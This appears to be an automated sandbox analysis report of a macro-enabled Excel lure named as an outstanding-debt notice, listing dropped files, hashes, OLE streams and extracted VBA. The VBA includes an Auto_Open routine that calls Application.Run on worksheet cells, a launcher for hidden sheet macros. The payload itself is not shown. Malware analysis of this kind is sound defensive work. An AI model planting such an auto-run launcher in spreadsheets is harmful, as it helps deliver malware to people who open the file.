File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:16 2020, mtime=Wed May 5 01:25:42 2021, atime=Wed May 5 01:25:42 2021, length=117631, window=hide
Category:modified
Size (bytes):2288
Entropy (8bit):4.550553211667057
Encrypted:false
SSDEEP:48:8DaL/XT0jFUu2BGOQh2DaL/XT0jFUu2BGOQ/:8O/XojFUu6GOQh2O/XojFUu6GOQ/
MD5:7C2E8E9AE383005C7CD529285B5F2D67
SHA1:EB924D937FB2A53387A923334AE9843457A8643F
SHA-256:1B213EEF42EC04DA43EA77E3D50C606A4F7891EA88EE7B6DE2EC45408D7E9505
SHA-512:0022227F5D0334A890174936A856AC4A65010F9C1B8F27DD70BAC04C0E57594C57505993A16410A8EC1A2C9891119A1925D3E14E4CE64D5A318F4E4BE8D1B2D4
Malicious:false
Reputation:low
Preview: L..................F.... ...|.}..{...`{.UA..@...UA...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2......R2. .OUTSTA~1.XLS..~.......Q.y.Q.y*...8.....................O.u.t.s.t.a.n.d.i.n.g.-.D.e.b.t.-.6.1.0.7.1.6.1.9.3.-.0.5.0.4.2.0.2.1...x.l.s.m.......................-...8...[............?J......C:\Users\..#...................\\116938\Users.user\Desktop\Outstanding-Debt-610716193-05042021.xlsm.?.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.O.u.t.s.t.a.n.d.i.n.g.-.D.e.b.t.-.6.1.0.7.1.6.1.9.3.-.0.5.0.4.2.0.2.1...x.l.s.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:ASCII text, with CRLF line terminators
Category:dropped
Size (bytes):160
Entropy (8bit):4.886051788670456
Encrypted:false
SSDEEP:3:oyBVomxWhl2BcYYnHRFK6lyEW92BcYYnHRFK6lmxWhl2BcYYnHRFK6lv:djSltrnHRZ7W9trnHRZ/ltrnHRZ1
MD5:FC660BA7824A696FFFFA593523991B94
SHA1:89F19A179578A92F24999AE381B112C64F7C1FC6
SHA-256:4E77B9F90201E2476315010E8380F56A809D69B5AA526B7B4C57BB8C1B223D7B
SHA-512:7F9FAC7DCC2AE04F1FA1AE2A28DB2A90E6FDD9597CF25B22C60C387C7E720816798D6F03C201EA7F5EFC0CE8B6C418779B6A74AFA1F22A12DD26B62B2CA9A602
Malicious:false
Reputation:low
Preview: Desktop.LNK=0..[misc]..Outstanding-Debt-610716193-05042021.LNK=0..Outstanding-Debt-610716193-05042021.LNK=0..[misc]..Outstanding-Debt-610716193-05042021.LNK=0..
C:\Users\user\Desktop\50EE0000
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:data
Category:dropped
Size (bytes):117631
Entropy (8bit):7.688168498309158
Encrypted:false
SSDEEP:3072:GAD+rvKINbjvw548LMb/oqKO8NnS8+60KcR:G/mAbT648LM7D98Np+Eg
MD5:2701B57622CC58F58863FB05E0A25EEA
SHA1:1D81D9B65C0429126B9808C4399625A2E5236D9F
SHA-256:6D6B75E40C7E254006F8193BC2B3BE90F7A953D58BAA4E4D5F385B9776D9E87F
SHA-512:66952309C778EF855FF2DD6C8AE41ED7C783131E015F8F34E81B2F85E40F19374476B2815102E22AEF884019F654F6819A3D7013E77E1CC1DEA39F593A3F0040
Malicious:false
Reputation:low
Preview: .U.n.0....?...".....r.y...I>.&..m.$H...K...$$@.zQ;.3\p..V.K.AYS..:"..a.2uE...._.....5P.5.r=..m..v...6."M..7cA4..@...+3.[.....q..5.....k".X.A&.[.......~.t2U..7...UE.sZ...Q.4..... .xi........VS..2.G.....rz.a..V....Xh..?P....rZ.....T..;..._.A.$....?.E..J.W..Sk..<or..%..h.-.-....>.k\.7Qg.re`.v........$.........5d..............4?{.:.&...,_?>?......B.-CFu....p..1.T.z..cw.!=.M-....}.....3..7...r.......;ap.7.B.e.N[...v......z..T]:........c.`.Nx....W.<..r.O........PK..........!.........*.......[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
C:\Users\user\Desktop\~$Outstanding-Debt-610716193-05042021.xlsm
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:data
Category:dropped
Size (bytes):330
Entropy (8bit):1.4377382811115937
Encrypted:false
SSDEEP:3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:96114D75E30EBD26B572C1FC83D1D02E
SHA1:A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:true
Reputation:high, very likely benign file
Preview: .user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:Microsoft Excel 2007+
Entropy (8bit):7.688088272020875
TrID:
  • Excel Microsoft Office Open XML Format document with Macro (57504/1) 54.50%
  • Excel Microsoft Office Open XML Format document (40004/1) 37.92%
  • ZIP compressed archive (8000/1) 7.58%
File name:Outstanding-Debt-610716193-05042021.xlsm
File size:116888
MD5:b20f59f0dec28c944c62f14fcdeecebb
SHA1:113cdca46cefdbb50697d6f539dcc71bb3a1947a
SHA256:78a9d532ef2c79aa430393c85f8f0351d6fa0578297a7d5d349701670890145b
SHA512:5d0c9c81e1c92e98a70c445b0b9ed5902f7b34ad9c4de5da50a72c982ab4ab7dc957f861a9592016dc100e77ac17838456bd216e2d6c88e784787fd7ce9000fc
SSDEEP:3072:DvKINbjvw548LMb/oqKO8NnS8+60KcplBO:OAbT648LM7D98Np+EeK
File Content Preview:PK..........!."..R....*.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon

Icon Hash:e4e2aa8aa4bcbcac

Static OLE Info

General

Document Type:OpenXML
Number of OLE Files:1

OLE File "/opt/package/joesandbox/database/analysis/404168/sample/Outstanding-Debt-610716193-05042021.xlsm"

Indicators

Has Summary Info:False
Application Name:unknown
Encrypted Document:False
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:True

Summary

Author:Rabota
Last Saved By:Noped
Create Time:2015-06-05T18:19:34Z
Last Saved Time:2021-05-04T08:05:25Z
Creating Application:Microsoft Excel
Security:0

Document Summary

Thumbnail Scaling Desired:false
Company:
Contains Dirty Links:false
Shared Document:false
Changed Hyperlinks:false
Application Version:16.0300

Streams with VBA

VBA File Name: Blasr.bas, Stream Size: 1166
General
Stream Path:VBA/Blasr
VBA File Name:Blasr.bas
Stream Size:1166
Data ASCII:. . . . . . . . . z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ^ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 7a 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 81 02 00 00 fd 03 00 00 00 00 00 00 01 00 00 00 1c cc 5e 9c 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
"Blasr"
Application.Run
Attribute
Auto_Open()
VB_Name
Private
VBA Code
Attribute VB_Name = "Blasr"
Private Sub Auto_Open()
Application.Run Sheets("Nyukasl").Range("AJ6")

Application.Run Sheets("Nyukasl").Range("A5")
Application.Run Sheets("Nyukasl").Range("A5")






End Sub
VBA File Name: Briks.cls, Stream Size: 990
General
Stream Path:VBA/Briks
VBA File Name:Briks.cls
Stream Size:990
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 1c cc 1e a1 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
"Briks"
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
Attribute VB_Name = "Briks"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
VBA File Name: Byutut.bas, Stream Size: 1056
General
Stream Path:VBA/Byutut
VBA File Name:Byutut.bas
Stream Size:1056
Data ASCII:. . . . . . . . . R . . . . . . . . . . . . . . . Y . . . . . . . . . . . . . . . . . ; G . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 52 03 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 59 03 00 00 f5 03 00 00 00 00 00 00 01 00 00 00 1c cc 3b 47 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
VB_Name
"Byutut"
VBA Code
Attribute VB_Name = "Byutut"
VBA File Name: Class1.cls, Stream Size: 1151
General
Stream Path:VBA/Class1
VBA File Name:Class1.cls
Stream Size:1151
Data ASCII:. . . . . . . . . Z . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 5a 03 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff 61 03 00 00 c5 03 00 00 00 00 00 00 01 00 00 00 1c cc a3 ac 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
VBA File Name: Class2.cls, Stream Size: 999
General
Stream Path:VBA/Class2
VBA File Name:Class2.cls
Stream Size:999
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . ~ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 1c cc 7e e9 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
VBA File Name: Class3.cls, Stream Size: 999
General
Stream Path:VBA/Class3
VBA File Name:Class3.cls
Stream Size:999
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 1c cc c8 17 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
VBA File Name: Kikide.cls, Stream Size: 1249
General
Stream Path:VBA/Kikide
VBA File Name:Kikide.cls
Stream Size:1249
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . ) . . . . . . . . . . . . . R . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 9a 03 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff a1 03 00 00 29 04 00 00 00 00 00 00 01 00 00 00 1c cc 52 09 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
"Kikide"
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
Attribute VB_Name = "Kikide"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
VBA File Name: UserForm1.frm, Stream Size: 1526
General
Stream Path:VBA/UserForm1
VBA File Name:UserForm1.frm
Stream Size:1526
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . { \\ . . B . H N . . . . . I . . . . . O < . * N . 7 { / a . . . 0 $ . . . v . K . . . . 1 . . . . . . . . . h : . . L N . . V = . 5 . H . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 00 01 00 00 9e 04 00 00 e4 00 00 00 84 02 00 00 ff ff ff ff a5 04 00 00 09 05 00 00 00 00 00 00 01 00 00 00 1c cc 2b 09 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 7b 5c fd e6 42 8a 48 4e aa cd df d6 fd 49 99 1c 83 98 07 4f 3c d6 2a 4e ad 37 7b 2f 61 a2 ba cd 30 24 1b a6 ea 76 1d 4b a3 81 e7 c2 31

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{4F079883-D63C-4E2A-AD37-7B2F61A2BACD}{A61B2430-76EA-4B1D-A381-E7C23109F48A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
VBA File Name: Vrest.bas, Stream Size: 679
General
Stream Path:VBA/Vrest
VBA File Name:Vrest.bas
Stream Size:679
Data ASCII:. . . . . . . . . " . . . . . . . . . . . . . . . ) . . . } . . . . . . . . . . . . . ' . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 22 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 29 02 00 00 7d 02 00 00 00 00 00 00 01 00 00 00 1c cc 27 ea 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
"Vrest"
VB_Name
VBA Code
Attribute VB_Name = "Vrest"
VBA File Name: Vsewd.cls, Stream Size: 990
General
Stream Path:VBA/Vsewd
VBA File Name:Vsewd.cls
Stream Size:990
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 1c cc b2 ae 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
"Vsewd"
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VBA Code
Attribute VB_Name = "Vsewd"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 856
General
Stream Path:PROJECT
File Type:ASCII text, with CRLF line terminators
Stream Size:856
Entropy:5.31019504221
Base64 Encoded:True
Data ASCII:I D = " { 4 4 8 1 7 C A 7 - 1 5 D A - 4 D 2 5 - B 4 C E - 4 7 0 F 9 E A 0 E 5 D F } " . . D o c u m e n t = K i k i d e / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = B r i k s / & H 0 0 0 0 0 0 0 0 . . M o d u l e = B y u t u t . . D o c u m e n t = V s e w d / & H 0 0 0 0 0 0 0 0 . . C l a s s = C l a s s 1 . . C l a s s = C l a s s 2 . . C l a s s = C l a s s 3 . . M o d u l e = B l a s r . . M o d u l e = V r e s t . . P a c k a g e = { A C 9 F 2 F 9 0 - E 8 7 7 - 1 1 C E - 9 F 6 8 - 0 0 A A 0 0 5 7 4 A 4
Data Raw:49 44 3d 22 7b 34 34 38 31 37 43 41 37 2d 31 35 44 41 2d 34 44 32 35 2d 42 34 43 45 2d 34 37 30 46 39 45 41 30 45 35 44 46 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 4b 69 6b 69 64 65 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 42 72 69 6b 73 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 3d 42 79 75 74 75 74 0d 0a 44 6f 63 75 6d 65 6e 74 3d 56 73 65 77
Stream Path: PROJECTwm, File Type: data, Stream Size: 209
General
Stream Path:PROJECTwm
File Type:data
Stream Size:209
Entropy:3.32661660177
Base64 Encoded:False
Data ASCII:K i k i d e . K . i . k . i . d . e . . . B r i k s . B . r . i . k . s . . . B y u t u t . B . y . u . t . u . t . . . V s e w d . V . s . e . w . d . . . C l a s s 1 . C . l . a . s . s . 1 . . . C l a s s 2 . C . l . a . s . s . 2 . . . C l a s s 3 . C . l . a . s . s . 3 . . . B l a s r . B . l . a . s . r . . . V r e s t . V . r . e . s . t . . . U s e r F o r m 1 . U . s . e . r . F . o . r . m . 1 . . . . .
Data Raw:4b 69 6b 69 64 65 00 4b 00 69 00 6b 00 69 00 64 00 65 00 00 00 42 72 69 6b 73 00 42 00 72 00 69 00 6b 00 73 00 00 00 42 79 75 74 75 74 00 42 00 79 00 75 00 74 00 75 00 74 00 00 00 56 73 65 77 64 00 56 00 73 00 65 00 77 00 64 00 00 00 43 6c 61 73 73 31 00 43 00 6c 00 61 00 73 00 73 00 31 00 00 00 43 6c 61 73 73 32 00 43 00 6c 00 61 00 73 00 73 00 32 00 00 00 43 6c 61 73 73 33 00 43
Stream Path: UserForm1/\x1CompObj, File Type: data, Stream Size: 97
General
Stream Path:UserForm1/\x1CompObj
File Type:data
Stream Size:97
Entropy:3.61064918306
Base64 Encoded:False
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t F o r m s 2 . 0 F o r m . . . . . E m b e d d e d O b j e c t . . . . . . 9 . q . . . . . . . . . . . .
Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
Stream Path: UserForm1/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266
General
Stream Path:UserForm1/\x3VBFrame
File Type:ASCII text, with CRLF line terminators
Stream Size:266
Entropy:4.62034133633
Base64 Encoded:True
Data ASCII:V E R S I O N 5 . 0 0 . . B e g i n { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 5 7 4 A 4 F } U s e r F o r m 1 . . C a p t i o n = " U s e r F o r m 1 " . . C l i e n t H e i g h t = 3 0 1 5 . . C l i e n t L e f t = 1 2 0 . . C l i e n t T o p = 4 6 5 . . C l i e n t W i d t h = 4 5 6 0 . . S t a r t U p P o s i t i o n = 1 ' C e n t e r O w
Data Raw:56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55 73 65 72 46 6f 72 6d 31 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 3d 20 20 20 22 55 73 65 72 46 6f 72 6d 31 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69 67 68 74 20 20 20 20 3d 20
Stream Path: UserForm1/f, File Type: data, Stream Size: 38
General
Stream Path:UserForm1/f
File Type:data
Stream Size:38
Entropy:1.54052096453
Base64 Encoded:False
Data ASCII:. . . . . . . . . } . . k . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:00 04 18 00 00 0c 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Stream Path: UserForm1/o, File Type: empty, Stream Size: 0
General
Stream Path:UserForm1/o
File Type:empty
Stream Size:0
Entropy:0.0
Base64 Encoded:False
Data ASCII:
Data Raw:
Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 4263
General
Stream Path:VBA/_VBA_PROJECT
File Type:data
Stream Size:4263
Entropy:4.38205341073
Base64 Encoded:False
